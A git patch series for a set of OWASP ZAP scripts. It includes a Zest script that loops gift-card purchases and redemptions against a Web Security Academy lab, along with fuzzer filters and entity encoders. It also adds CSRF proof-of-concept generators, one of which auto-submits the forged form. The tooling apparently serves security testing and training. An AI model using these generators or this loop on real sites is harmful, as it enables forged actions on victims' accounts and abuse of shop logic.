\u003cth\u003eQuantity\u003c/th\u003e\n \u003cth\u003e\u003c/th\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\n \u003ca href\u003d/product?productId\u003d2\u003eGift Card\u003c/a\u003e\n \u003c/td\u003e\n \u003ctd\u003e$10.00\u003c/td\u003e\n \u003ctd\u003e\n 1\n \u003c/td\u003e\n \u003ctd\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003eSIGNUP30\u003c/td\u003e\u003ctd\u003e-$3.00\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eTotal:\u003c/th\u003e\n \u003cth\u003e$7.00\u003c/th\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003cp\u003e\u003cstrong\u003eYou have bought the following gift cards:\u003c/strong\u003e\u003c/p\u003e\n \u003ctable class\u003dis-table-numbers\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eCode\u003c/th\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e9q3GXW16Qr\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 177, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 4682, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934506407, + "cookies": [], + "index": 10, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "prefix": "\u003cth\u003eCode\u003c/th\u003e", + "postfix": "\u003c/td\u003e", + "location": "BODY", + "variableName": "code", + "index": 11, + "enabled": true, + "elementType": "ZestAssignStringDelimiters" + }, + { + "replace": " ", + "replacement": "", + "regex": false, + "caseExact": false, + "variableName": "code", + "index": 12, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "replace": "\\n", + "replacement": "", + "regex": true, + "caseExact": false, + "variableName": "code", + "index": 13, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "replace": "\u003ctr\u003e", + "replacement": "", + "regex": false, + "caseExact": false, + "variableName": "code", + "index": 14, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "replace": "\u003c/tr\u003e", + "replacement": "", + "regex": false, + "caseExact": false, + "variableName": "code", + "index": 15, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "replace": "\u003ctd\u003e", + "replacement": "", + "regex": false, + "caseExact": false, + "variableName": "code", + "index": 16, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/gift-card", + "data": "csrf\u003d{{csrf3}}\u0026gift-card\u003d{{code}}", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 58\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/gift-card", + "headers": "HTTP/1.1 302 Found\nLocation: /my-account\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 183, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934519976, + "cookies": [], + "index": 17, + "enabled": true, + "elementType": "ZestRequest" + } + ], + "variableName": "loop", + "index": 1, + "enabled": true, + "elementType": "ZestLoopInteger" + } + ], + "authentication": [], + "index": 0, + "enabled": true, + "elementType": "ZestScript" +} From 5d4b10cdec6b5034e2759bc292c2e4c373d26e82 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 28 Jun 2023 19:08:47 +0200 Subject: [PATCH 21/29] Change RTT_time_filter.py to version 1.1 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpfuzzerprocessor/RTT_time_filter.py | 41 +++++++++++++------------- 1 file changed, 20 insertions(+), 21 deletions(-) diff --git a/httpfuzzerprocessor/RTT_time_filter.py b/httpfuzzerprocessor/RTT_time_filter.py index e0cfef21..7c80b9ac 100644 --- a/httpfuzzerprocessor/RTT_time_filter.py +++ b/httpfuzzerprocessor/RTT_time_filter.py @@ -1,11 +1,11 @@ -# Version 1.0 +# Version 1.1 # @author RUFFENACH Timothée # filter by RTT (time request). from javax.swing import JFrame, JPanel, JComboBox, JOptionPane,JFileChooser,JOptionPane # Auxiliary variables/constants needed for processing. -global time,isCheck; +global time,choice,init; init = False def getNumber(min,max,asked): @@ -19,26 +19,25 @@ def getNumber(min,max,asked): getNumber() # Called after injecting the payloads and before forward the message to the server. -def processMessage(utils, message) : +def processMessage(utils, message): + global init; if (init == False): - initialise() + shouldInit() -def initialise(): - global init,entry,isCheck - global time; - time = getNumber(1,50000,"how many time do you want ?") - isCheck = JOptionPane.showConfirmDialog(None, "more high or equal (YES) esle less or equal (NO)", "Confirm", JOptionPane.YES_NO_OPTION) - init = True +# Initialisation +def shouldInit(): + global time, choice,init; + options = ["MORE", "LESS"] # choice options - -# Called after receiving the fuzzed message from the server -def processResult(utils, fuzzResult) : - global isChek,time - if isCheck == JOptionPane.YES_OPTION and (int(fuzzResult.getHttpMessage().getTimeElapsedMillis()) >= time): - return bool(1) - elif isCheck == JOptionPane.NO_OPTION and (int(fuzzResult.getHttpMessage().getTimeElapsedMillis()) <= time): - return bool(1) - else: - return bool(0); + time = getNumber(1,50000,"What is the value of RTT (Raquest and Response Timing) do you want ?") - + choice = JOptionPane.showOptionDialog( + None, "Do want the value to be greater or equal than to the previous input (MORE) or smaller or equal (LESS)", + "Confirm", + JOptionPane.YES_NO_OPTION, + JOptionPane.QUESTION_MESSAGE, + None, + options, + options[0] + ) + init = True \ No newline at end of file From 0be7fa4835ed2ec6301ad59a381ac0da10f285cb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 28 Jun 2023 19:18:08 +0200 Subject: [PATCH 22/29] Change RTT_time_filter.py add processResult MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpfuzzerprocessor/RTT_time_filter.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/httpfuzzerprocessor/RTT_time_filter.py b/httpfuzzerprocessor/RTT_time_filter.py index 7c80b9ac..5a40e396 100644 --- a/httpfuzzerprocessor/RTT_time_filter.py +++ b/httpfuzzerprocessor/RTT_time_filter.py @@ -40,4 +40,14 @@ def shouldInit(): options, options[0] ) - init = True \ No newline at end of file + init = True + +# Called after receiving the fuzzed message from the server +def processResult(utils, fuzzResult): + global choice, time; + if choice == JOptionPane.YES_OPTION and (int(fuzzResult.getHttpMessage().getTimeElapsedMillis()) >= time): + return True + elif choice == JOptionPane.NO_OPTION and (int(fuzzResult.getHttpMessage().getTimeElapsedMillis()) <= time): + return True + else: + return False \ No newline at end of file From 171120fde0b79f0dc17a7e24e3d4fc4bbda234c2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 28 Jun 2023 20:10:13 +0200 Subject: [PATCH 23/29] Change sentance in fileStringResilt.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- .../filtersResultWithStringOnBodyResponse.py | 25 +++++++++---------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py b/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py index 87ad427f..5ec82084 100644 --- a/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py +++ b/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py @@ -1,5 +1,5 @@ # @author Timothée Ruffenach -# Version 1.0 +# Version 1.1 # filters the fuzzing result with a string. from javax.swing import JOptionPane @@ -8,7 +8,7 @@ # global variable init = False entry = "" -isCheck = False +choice = False # Called after injecting the payloads and before forward the message to the server. def processMessage(utils, message) : @@ -18,33 +18,32 @@ def processMessage(utils, message) : def initialise(): - global init,entry,isCheck + global init,entry,choice entry = "" # ask stings to find while entry == "": - entry = getString("what character string do you want to find ?") + entry = getString("What character string do you want to find ?") if entry == "": - JOptionPane.showMessageDialog(None, "Empty string","Waring", JOptionPane.WARNING_MESSAGE) + JOptionPane.showMessageDialog(None, "Empty string","Warning", JOptionPane.WARNING_MESSAGE) # ask reverse message - isCheck = JOptionPane.showConfirmDialog(None, "Reverse", "Confim", JOptionPane.YES_NO_OPTION) - + choice = JOptionPane.showConfirmDialog(None, "Do you want to reverse the search result ?", "Confim", JOptionPane.YES_NO_OPTION) init = True # Called after receiving the fuzzed message from the server def processResult(utils, fuzzResult) : - global entry,isCheck + global entry,choice body = fuzzResult.getHttpMessage().getResponseBody().toString() # test all posibility - if isCheck == JOptionPane.NO_OPTION and entry in body: - return bool(1); - elif isCheck == JOptionPane.YES_OPTION and not entry in body: - return bool(1); + if choice == JOptionPane.NO_OPTION and entry in body: + return True; + elif choice == JOptionPane.YES_OPTION and not entry in body: + return True; else: - return bool(0); + return False; # Question def getString(question): From c0f239f32ec8022912ec083e5d14994a2e826b18 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 28 Jun 2023 20:49:30 +0200 Subject: [PATCH 24/29] Change comment to file pitchWork.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpfuzzerprocessor/pitchWork.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/httpfuzzerprocessor/pitchWork.py b/httpfuzzerprocessor/pitchWork.py index 90d3feed..c51e7b01 100644 --- a/httpfuzzerprocessor/pitchWork.py +++ b/httpfuzzerprocessor/pitchWork.py @@ -86,7 +86,7 @@ def initialise(): while number == -1: number = chooseNumber() - # choose file user + # add files chosen by the user for i in range(number): filePaths.append(chooseFile()) From 907b08d2b8fb8fbca7a83b00a00a0f176c8a5a61 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 28 Jun 2023 21:26:31 +0200 Subject: [PATCH 25/29] Change sentence in OAST_Listen_Burp_Colaboratory.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/OAST_Listen_Burp_Colaborator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/standalone/OAST_Listen_Burp_Colaborator.py b/standalone/OAST_Listen_Burp_Colaborator.py index eed58f96..e99fdb2e 100644 --- a/standalone/OAST_Listen_Burp_Colaborator.py +++ b/standalone/OAST_Listen_Burp_Colaborator.py @@ -14,10 +14,10 @@ def main(): global biid - biid = getString("what is your biid ?") + biid = getString("What is your secret key (biid) ?") # Get number for update info - update = getNumber(1,3600, "how many time do you want refresh information ?") + update = getNumber(1,3600, "How many time do you want refresh information ?") while True: # URL request From b188c61474ff248ff4dfa7da5099f3dd7f0b62ed Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 19 Jul 2023 15:40:44 +0200 Subject: [PATCH 26/29] Add decodeHTMLEntities.js and encodeHTMLEntities.js MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- encode-decode/decodeHTMLEntitities.js | 292 +++++++++++++++++++++++++ encode-decode/encodeHTMLEntitities .js | 292 +++++++++++++++++++++++++ 2 files changed, 584 insertions(+) create mode 100644 encode-decode/decodeHTMLEntitities.js create mode 100644 encode-decode/encodeHTMLEntitities .js diff --git a/encode-decode/decodeHTMLEntitities.js b/encode-decode/decodeHTMLEntitities.js new file mode 100644 index 00000000..988d36e0 --- /dev/null +++ b/encode-decode/decodeHTMLEntitities.js @@ -0,0 +1,292 @@ +# @author Timothée Ruffenach +# Version 1.0 +# decode HTML Entities + +/** + * Process the input value and return the encoded/decoded/hashed etc. value + * + * Use helper.newError("Error Description") to provide an error description + * inside the result view. + * + * @param {EncodeDecodeScriptHelper} helper - A helper object with various utility methods. + * For more details see https://github.com/zaproxy/zap-extensions/tree/main/addOns/encoder/src/main/java/org/zaproxy/addon/encoder/processors/script/EncodeDecodeScriptHelper.java + * @param {String} value - The input value + * @returns {EncodeDecodeResult} - The value that was encoded/decoded/hashed etc. easiest via helper.newResult(result). + */ +function process(helper, value){ + return helper.newResult(HtmlEntities.decode(value)); +} + +var HtmlEntities = function() {}; + +HtmlEntities.map = { + "'": "'", + "<": "<", + ">": ">", + " ": " ", + "¡": "¡", + "¢": "¢", + "£": "£", + "¤": "¤", + "¥": "¥", + "¦": "¦", + "§": "§", + "¨": "¨", + "©": "©", + "ª": "ª", + "«": "«", + "¬": "¬", + "®": "®", + "¯": "¯", + "°": "°", + "±": "±", + "²": "²", + "³": "³", + "´": "´", + "µ": "µ", + "¶": "¶", + "·": "·", + "¸": "¸", + "¹": "¹", + "º": "º", + "»": "»", + "¼": "¼", + "½": "½", + "¾": "¾", + "¿": "¿", + "À": "À", + "Á": "Á", + "Â": "Â", + "Ã": "Ã", + "Ä": "Ä", + "Å": "Å", + "Æ": "Æ", + "Ç": "Ç", + "È": "È", + "É": "É", + "Ê": "Ê", + "Ë": "Ë", + "Ì": "Ì", + "Í": "Í", + "Î": "Î", + "Ï": "Ï", + "Ð": "Ð", + "Ñ": "Ñ", + "Ò": "Ò", + "Ó": "Ó", + "Ô": "Ô", + "Õ": "Õ", + "Ö": "Ö", + "×": "×", + "Ø": "Ø", + "Ù": "Ù", + "Ú": "Ú", + "Û": "Û", + "Ü": "Ü", + "Ý": "Ý", + "Þ": "Þ", + "ß": "ß", + "à": "à", + "á": "á", + "â": "â", + "ã": "ã", + "ä": "ä", + "å": "å", + "æ": "æ", + "ç": "ç", + "è": "è", + "é": "é", + "ê": "ê", + "ë": "ë", + "ì": "ì", + "í": "í", + "î": "î", + "ï": "ï", + "ð": "ð", + "ñ": "ñ", + "ò": "ò", + "ó": "ó", + "ô": "ô", + "õ": "õ", + "ö": "ö", + "÷": "÷", + "ø": "ø", + "ù": "ù", + "ú": "ú", + "û": "û", + "ü": "ü", + "ý": "ý", + "þ": "þ", + "ÿ": "ÿ", + "Œ": "Œ", + "œ": "œ", + "Š": "Š", + "š": "š", + "Ÿ": "Ÿ", + "ƒ": "ƒ", + "ˆ": "ˆ", + "˜": "˜", + "Α": "Α", + "Β": "Β", + "Γ": "Γ", + "Δ": "Δ", + "Ε": "Ε", + "Ζ": "Ζ", + "Η": "Η", + "Θ": "Θ", + "Ι": "Ι", + "Κ": "Κ", + "Λ": "Λ", + "Μ": "Μ", + "Ν": "Ν", + "Ξ": "Ξ", + "Ο": "Ο", + "Π": "Π", + "Ρ": "Ρ", + "Σ": "Σ", + "Τ": "Τ", + "Υ": "Υ", + "Φ": "Φ", + "Χ": "Χ", + "Ψ": "Ψ", + "Ω": "Ω", + "α": "α", + "β": "β", + "γ": "γ", + "δ": "δ", + "ε": "ε", + "ζ": "ζ", + "η": "η", + "θ": "θ", + "ι": "ι", + "κ": "κ", + "λ": "λ", + "μ": "μ", + "ν": "ν", + "ξ": "ξ", + "ο": "ο", + "π": "π", + "ρ": "ρ", + "ς": "ς", + "σ": "σ", + "τ": "τ", + "υ": "υ", + "φ": "φ", + "χ": "χ", + "ψ": "ψ", + "ω": "ω", + "ϑ": "ϑ", + "ϒ": "&Upsih;", + "ϖ": "ϖ", + "–": "–", + "—": "—", + "‘": "‘", + "’": "’", + "‚": "‚", + "“": "“", + "”": "”", + "„": "„", + "†": "†", + "‡": "‡", + "•": "•", + "…": "…", + "‰": "‰", + "′": "′", + "″": "″", + "‹": "‹", + "›": "›", + "‾": "‾", + "⁄": "⁄", + "€": "€", + "ℑ": "ℑ", + "℘": "℘", + "ℜ": "ℜ", + "™": "™", + "ℵ": "ℵ", + "←": "←", + "↑": "↑", + "→": "→", + "↓": "↓", + "↔": "↔", + "↵": "↵", + "⇐": "⇐", + "⇑": "&UArr;", + "⇒": "⇒", + "⇓": "⇓", + "⇔": "⇔", + "∀": "∀", + "∂": "∂", + "∃": "∃", + "∅": "∅", + "∇": "∇", + "∈": "∈", + "∉": "∉", + "∋": "∋", + "∏": "∏", + "∑": "∑", + "−": "−", + "∗": "∗", + "√": "√", + "∝": "∝", + "∞": "∞", + "∠": "∠", + "∧": "∧", + "∨": "∨", + "∩": "∩", + "∪": "∪", + "∫": "∫", + "∴": "∴", + "∼": "∼", + "≅": "≅", + "≈": "≈", + "≠": "≠", + "≡": "≡", + "≤": "≤", + "≥": "≥", + "⊂": "⊂", + "⊃": "⊃", + "⊄": "⊄", + "⊆": "⊆", + "⊇": "⊇", + "⊕": "⊕", + "⊗": "⊗", + "⊥": "⊥", + "⋅": "⋅", + "⌈": "⌈", + "⌉": "⌉", + "⌊": "⌊", + "⌋": "⌋", + "⟨": "⟨", + "⟩": "⟩", + "◊": "◊", + "♠": "♠", + "♣": "♣", + "♥": "♥", + "♦": "♦" +}; + +HtmlEntities.decode = function(string) { + var entityMap = HtmlEntities.map; + for (var key in entityMap) { + var entity = entityMap[key]; + var regex = new RegExp(entity, 'g'); + string = string.replace(regex, key); + } + string = string.replace(/"/g, '"'); + string = string.replace(/&/g, '&'); + return string; +} + +HtmlEntities.encode = function(string) { + var entityMap = HtmlEntities.map; + string = string.replace(/&/g, '&'); + string = string.replace(/"/g, '"'); + for (var key in entityMap) { + var entity = entityMap[key]; + var regex = new RegExp(key, 'g'); + string = string.replace(regex, entity); + } + return string; +} + + diff --git a/encode-decode/encodeHTMLEntitities .js b/encode-decode/encodeHTMLEntitities .js new file mode 100644 index 00000000..9411920b --- /dev/null +++ b/encode-decode/encodeHTMLEntitities .js @@ -0,0 +1,292 @@ +# @author Timothée Ruffenach +# Version 1.0 +# encode HTML Entities + +/** + * Process the input value and return the encoded/decoded/hashed etc. value + * + * Use helper.newError("Error Description") to provide an error description + * inside the result view. + * + * @param {EncodeDecodeScriptHelper} helper - A helper object with various utility methods. + * For more details see https://github.com/zaproxy/zap-extensions/tree/main/addOns/encoder/src/main/java/org/zaproxy/addon/encoder/processors/script/EncodeDecodeScriptHelper.java + * @param {String} value - The input value + * @returns {EncodeDecodeResult} - The value that was encoded/decoded/hashed etc. easiest via helper.newResult(result). + */ +function process(helper, value){ + return helper.newResult(HtmlEntities.encode(value)); +} + +var HtmlEntities = function() {}; + +HtmlEntities.map = { + "'": "'", + "<": "<", + ">": ">", + " ": " ", + "¡": "¡", + "¢": "¢", + "£": "£", + "¤": "¤", + "¥": "¥", + "¦": "¦", + "§": "§", + "¨": "¨", + "©": "©", + "ª": "ª", + "«": "«", + "¬": "¬", + "®": "®", + "¯": "¯", + "°": "°", + "±": "±", + "²": "²", + "³": "³", + "´": "´", + "µ": "µ", + "¶": "¶", + "·": "·", + "¸": "¸", + "¹": "¹", + "º": "º", + "»": "»", + "¼": "¼", + "½": "½", + "¾": "¾", + "¿": "¿", + "À": "À", + "Á": "Á", + "Â": "Â", + "Ã": "Ã", + "Ä": "Ä", + "Å": "Å", + "Æ": "Æ", + "Ç": "Ç", + "È": "È", + "É": "É", + "Ê": "Ê", + "Ë": "Ë", + "Ì": "Ì", + "Í": "Í", + "Î": "Î", + "Ï": "Ï", + "Ð": "Ð", + "Ñ": "Ñ", + "Ò": "Ò", + "Ó": "Ó", + "Ô": "Ô", + "Õ": "Õ", + "Ö": "Ö", + "×": "×", + "Ø": "Ø", + "Ù": "Ù", + "Ú": "Ú", + "Û": "Û", + "Ü": "Ü", + "Ý": "Ý", + "Þ": "Þ", + "ß": "ß", + "à": "à", + "á": "á", + "â": "â", + "ã": "ã", + "ä": "ä", + "å": "å", + "æ": "æ", + "ç": "ç", + "è": "è", + "é": "é", + "ê": "ê", + "ë": "ë", + "ì": "ì", + "í": "í", + "î": "î", + "ï": "ï", + "ð": "ð", + "ñ": "ñ", + "ò": "ò", + "ó": "ó", + "ô": "ô", + "õ": "õ", + "ö": "ö", + "÷": "÷", + "ø": "ø", + "ù": "ù", + "ú": "ú", + "û": "û", + "ü": "ü", + "ý": "ý", + "þ": "þ", + "ÿ": "ÿ", + "Œ": "Œ", + "œ": "œ", + "Š": "Š", + "š": "š", + "Ÿ": "Ÿ", + "ƒ": "ƒ", + "ˆ": "ˆ", + "˜": "˜", + "Α": "Α", + "Β": "Β", + "Γ": "Γ", + "Δ": "Δ", + "Ε": "Ε", + "Ζ": "Ζ", + "Η": "Η", + "Θ": "Θ", + "Ι": "Ι", + "Κ": "Κ", + "Λ": "Λ", + "Μ": "Μ", + "Ν": "Ν", + "Ξ": "Ξ", + "Ο": "Ο", + "Π": "Π", + "Ρ": "Ρ", + "Σ": "Σ", + "Τ": "Τ", + "Υ": "Υ", + "Φ": "Φ", + "Χ": "Χ", + "Ψ": "Ψ", + "Ω": "Ω", + "α": "α", + "β": "β", + "γ": "γ", + "δ": "δ", + "ε": "ε", + "ζ": "ζ", + "η": "η", + "θ": "θ", + "ι": "ι", + "κ": "κ", + "λ": "λ", + "μ": "μ", + "ν": "ν", + "ξ": "ξ", + "ο": "ο", + "π": "π", + "ρ": "ρ", + "ς": "ς", + "σ": "σ", + "τ": "τ", + "υ": "υ", + "φ": "φ", + "χ": "χ", + "ψ": "ψ", + "ω": "ω", + "ϑ": "ϑ", + "ϒ": "&Upsih;", + "ϖ": "ϖ", + "–": "–", + "—": "—", + "‘": "‘", + "’": "’", + "‚": "‚", + "“": "“", + "”": "”", + "„": "„", + "†": "†", + "‡": "‡", + "•": "•", + "…": "…", + "‰": "‰", + "′": "′", + "″": "″", + "‹": "‹", + "›": "›", + "‾": "‾", + "⁄": "⁄", + "€": "€", + "ℑ": "ℑ", + "℘": "℘", + "ℜ": "ℜ", + "™": "™", + "ℵ": "ℵ", + "←": "←", + "↑": "↑", + "→": "→", + "↓": "↓", + "↔": "↔", + "↵": "↵", + "⇐": "⇐", + "⇑": "&UArr;", + "⇒": "⇒", + "⇓": "⇓", + "⇔": "⇔", + "∀": "∀", + "∂": "∂", + "∃": "∃", + "∅": "∅", + "∇": "∇", + "∈": "∈", + "∉": "∉", + "∋": "∋", + "∏": "∏", + "∑": "∑", + "−": "−", + "∗": "∗", + "√": "√", + "∝": "∝", + "∞": "∞", + "∠": "∠", + "∧": "∧", + "∨": "∨", + "∩": "∩", + "∪": "∪", + "∫": "∫", + "∴": "∴", + "∼": "∼", + "≅": "≅", + "≈": "≈", + "≠": "≠", + "≡": "≡", + "≤": "≤", + "≥": "≥", + "⊂": "⊂", + "⊃": "⊃", + "⊄": "⊄", + "⊆": "⊆", + "⊇": "⊇", + "⊕": "⊕", + "⊗": "⊗", + "⊥": "⊥", + "⋅": "⋅", + "⌈": "⌈", + "⌉": "⌉", + "⌊": "⌊", + "⌋": "⌋", + "⟨": "⟨", + "⟩": "⟩", + "◊": "◊", + "♠": "♠", + "♣": "♣", + "♥": "♥", + "♦": "♦" +}; + +HtmlEntities.decode = function(string) { + var entityMap = HtmlEntities.map; + for (var key in entityMap) { + var entity = entityMap[key]; + var regex = new RegExp(entity, 'g'); + string = string.replace(regex, key); + } + string = string.replace(/"/g, '"'); + string = string.replace(/&/g, '&'); + return string; +} + +HtmlEntities.encode = function(string) { + var entityMap = HtmlEntities.map; + string = string.replace(/&/g, '&'); + string = string.replace(/"/g, '"'); + for (var key in entityMap) { + var entity = entityMap[key]; + var regex = new RegExp(key, 'g'); + string = string.replace(regex, entity); + } + return string; +} + + From 587d32f8ba6484a822731575e0716af5461bbf6e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Mon, 24 Jul 2023 10:37:34 +0200 Subject: [PATCH 27/29] Add CSRF_poc_generator.js and CSRF_poc_generator_auto-submit.js MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- targeted/CSRF_poc_generator.js | 74 +++++++++++++++++++++ targeted/CSRF_poc_generator_auto-submit.js | 75 ++++++++++++++++++++++ 2 files changed, 149 insertions(+) create mode 100644 targeted/CSRF_poc_generator.js create mode 100644 targeted/CSRF_poc_generator_auto-submit.js diff --git a/targeted/CSRF_poc_generator.js b/targeted/CSRF_poc_generator.js new file mode 100644 index 00000000..e9f0fb2b --- /dev/null +++ b/targeted/CSRF_poc_generator.js @@ -0,0 +1,74 @@ +// Generate simple PoC CSRF +// @author : Timothée Ruffenach +// Version 1.0 + +// Targeted scripts can only be invoked by you, the user, e.g. via a right-click option on the Sites or History tabs + +/** + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + // create fianl result + var result = "" + result += "\n"; + result += " \n"; + result += " \n" // change push path if needed + + // check POST of GET + var methode = msg.getRequestHeader().getMethod() + + + + // search list. + var body = msg.getRequestBody().toString(); // Get data body + + if(methode == "POST") + { + result += "
\n" + // sereparate line with caractere & + lines = body.split('&') + + for( line of lines) + { + + indexEgal = line.indexOf('='); + if(indexEgal !== -1) + { + key = line.substring(0, indexEgal); + value = line.substring(indexEgal + 1); + result += " \n" + } + } + result += " \n" + } + else if(methode == "GET") + { + result += " \n" + + uri=msg.getRequestHeader().getURI().toString() + data = uri.split('?') + data = data[1] + + lines = data.split('&') + + for( line of lines) + { + + indexEgal = line.indexOf('='); + if(indexEgal !== -1) + { + key = line.substring(0, indexEgal); + value = line.substring(indexEgal + 1); + result += " \n" + } + } + result += " \n" + } + // close tag + result += "
\n" + result += " \n" + result += "\n" + print(result) +} diff --git a/targeted/CSRF_poc_generator_auto-submit.js b/targeted/CSRF_poc_generator_auto-submit.js new file mode 100644 index 00000000..d7cc37f8 --- /dev/null +++ b/targeted/CSRF_poc_generator_auto-submit.js @@ -0,0 +1,75 @@ +// Generate simple PoC CSRF +// @author : Timothée Ruffenach +// Version 1.0 + +// Targeted scripts can only be invoked by you, the user, e.g. via a right-click option on the Sites or History tabs + +/** + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + // create fianl result + var result = "" + result += "\n"; + result += " \n"; + result += " \n" // change push path if needed + + // check POST of GET + var methode = msg.getRequestHeader().getMethod() + + + + // search list. + var body = msg.getRequestBody().toString(); // Get data body + + if(methode == "POST") + { + result += "
\n" + // sereparate line with caractere & + lines = body.split('&') + + for( line of lines) + { + + indexEgal = line.indexOf('='); + if(indexEgal !== -1) + { + key = line.substring(0, indexEgal); + value = line.substring(indexEgal + 1); + result += " \n" + } + } + result += " \n" + } + else if(methode == "GET") + { + result += " \n" + + uri=msg.getRequestHeader().getURI().toString() + data = uri.split('?') + data = data[1] + + lines = data.split('&') + + for( line of lines) + { + + indexEgal = line.indexOf('='); + if(indexEgal !== -1) + { + key = line.substring(0, indexEgal); + value = line.substring(indexEgal + 1); + result += " \n" + } + } + result += " \n" + } + // close tag + result += "
\n" + result += " \n" // add auto submit + result += " \n" + result += "\n" + print(result) +} From ddc6190a453810ddef7e9d74406905ee6fb1c7fe Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Tue, 25 Jul 2023 08:00:44 +0200 Subject: [PATCH 28/29] Add CSRF_poc_generator_full-URL-enconfing.js and CSRF_poc_generator_full-URL_encoding_auto-submit.js MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- .../CSRF_poc_generator_full-URL_encoding.js | 133 +++++++++++++++++ ...generator_full-URL_encoding_auto-submit.js | 134 ++++++++++++++++++ 2 files changed, 267 insertions(+) create mode 100644 targeted/CSRF_poc_generator_full-URL_encoding.js create mode 100644 targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js diff --git a/targeted/CSRF_poc_generator_full-URL_encoding.js b/targeted/CSRF_poc_generator_full-URL_encoding.js new file mode 100644 index 00000000..aa2c5bb7 --- /dev/null +++ b/targeted/CSRF_poc_generator_full-URL_encoding.js @@ -0,0 +1,133 @@ +// Generate simple PoC CSRF full URL encoding +// @author : Timothée Ruffenach +// Version 1.0 + +// Targeted scripts can only be invoked by you, the user, e.g. via a right-click option on the Sites or History tabs + 